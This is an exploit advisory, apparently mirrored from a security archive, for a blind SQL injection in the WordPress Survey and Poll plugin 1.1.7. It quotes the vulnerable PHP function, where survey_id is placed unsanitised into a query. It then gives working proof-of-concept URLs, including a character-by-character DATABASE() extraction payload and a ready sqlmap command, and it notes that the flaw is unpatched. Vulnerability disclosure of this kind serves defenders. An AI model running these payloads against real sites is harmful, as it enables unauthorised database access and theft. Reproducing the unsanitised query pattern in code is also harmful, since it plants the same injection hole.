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WordPress Survey And Poll 1.1.7 Blind SQL Injection

WordPress Survey And Poll 1.1.7 Blind SQL Injection
Posted Feb 12, 2015
Authored by Securely

WordPress Survey and Poll plugin version 1.1.7 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | bb9b26148c651150596f5ee49b2800ed

WordPress Survey And Poll 1.1.7 Blind SQL Injection

Change Mirror Download
#################################################################
# Exploit Title : Wordpress Survey and poll Blind SQL Injection

# Data : 2015 – 02 - 11

# Exploit Author : Securely (Yoo Hee man)

# Plugin : WordPress Survey and Poll

# Vender Homepage : http://modalsurvey.sympies.com

# Tested On : Windows XP / sqlmap_v1.0

# Software Link : https://downloads.wordpress.org/plugin/wp-survey-and-poll.1.1.zip
https://downlaods.wordpress.org/plugin/wp-survey-and-poll.zip (latest version v.1.1.7 By February 11, 2015 based on)

1. Detail
- This Plugin is passes ajax_survey function as [admin-ajax.php] a form of action and processes them in the /wp-survey-and-poll/settings.php
- Settings.php file is no login cookie check
- "survey_id" variable is not sanitized


#################################################################
public function ajax_survey()
{
global $wpdb;
$survey_id = "";
$survey_name = "";
$survey_start_time = "";
$survey_expiry_time = "";
$survey_global = "";
if (isset($_REQUEST['survey_id'])) $survey_id = sanitize_text_field($_REQUEST['survey_id']);
else $survey_id = "";
if (isset($_REQUEST['survey_name'])) sanitize_text_field($survey_name = $_REQUEST['survey_name']);
else $survey_name = "";
if (isset($_REQUEST['start_time'])&&(!empty($_REQUEST['start_time']))) $survey_start_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['start_time']));
else $survey_start_time = "";
if (isset($_REQUEST['expiry_time'])&&(!empty($_REQUEST['expiry_time']))) $survey_expiry_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['expiry_time']));
else $survey_expiry_time = "";
if (isset($_REQUEST['global_use'])) $survey_global = sanitize_text_field($_REQUEST['global_use']);
else $survey_global = "";
if (isset($_REQUEST['options'])) $survey_options = sanitize_text_field($_REQUEST['options']);
else $survey_options = "";
if (isset($_REQUEST['qa'])) $survey_qa = sanitize_text_field($_REQUEST['qa']);
else $survey_qa = "";
$survey_check = $wpdb->get_var("SELECT COUNT(*) FROM ".$wpdb->prefix."wp_sap_surveys WHERE `id` = ".$survey_id);
if ($_REQUEST['sspcmd']=="save")
{
if ($survey_check>0) {
//update survey
$wpdb->update( $wpdb->prefix."wp_sap_surveys", array( "options" => $survey_options, "start_time" => $survey_start_time, 'expiry_time' => $survey_expiry_time, 'global' => $survey_global),array('id' => $survey_id));
$wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_questions WHERE `survey_id` = %d",$survey_id));
$wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_answers WHERE `survey_id` = %d",$survey_id));
$qa_object = (array)json_decode(stripslashes($survey_qa));
$qa_array = (array)$qa_object;
foreach($qa_array as $keyq=>$qr)
{
foreach($qr as $key=>$oa)
{
if ($key==0)
{
$wpdb->insert( $wpdb->prefix."wp_sap_questions", array(
'id' => ($keyq+1),
'survey_id' => $survey_id,
'question' => $oa
) );
$qid = $wpdb->insert_id;
}
else
{
$oans = explode("->",$oa);
$wpdb->insert( $wpdb->prefix."wp_sap_answers", array(
'survey_id' => $survey_id,
'question_id' => ($keyq+1),
'answer' => $oans[0],
'count' => $oans[1],
'autoid' => $key
) );
}

}
}
die("updated");
}
else {
//insert survey
$wpdb->insert( $wpdb->prefix."wp_sap_surveys", array(
'id' => $survey_id,
'name' => $survey_name,
'options' => $survey_options,
'start_time' => $survey_start_time,
'expiry_time'=> $survey_expiry_time,
'global'=> $survey_global
) );
$qa_object = (array)json_decode(stripslashes($survey_qa));
$qa_array = (array)$qa_object;
foreach($qa_array as $keyq=>$qr)
{
foreach($qr as $key=>$oa)
{
if ($key==0)
{
$wpdb->insert( $wpdb->prefix."wp_sap_questions", array(
'id' => ($keyq+1),
'survey_id' => $survey_id,
'question' => $oa
) );
$qid = $wpdb->insert_id;
}
else
{
$oans = explode("->",$oa);
$wpdb->insert( $wpdb->prefix."wp_sap_answers", array(
'survey_id' => $survey_id,
'question_id' => ($keyq+1),
'answer' => $oans[0],
'autoid' => $key
) );
}

}
}
die('success');
}
################################################################

2. POC
- http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498 [SQLi]
- DataBase() => "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id= 3556498 AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>[Numbers compare]

3. Sqlmap
- sqlmap -u "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498" -p survey_id --dbms=mysql


3. Solution:
Not patched

4. Discovered By : Securely(Yoo Hee man)
god2zuzu@naver.com

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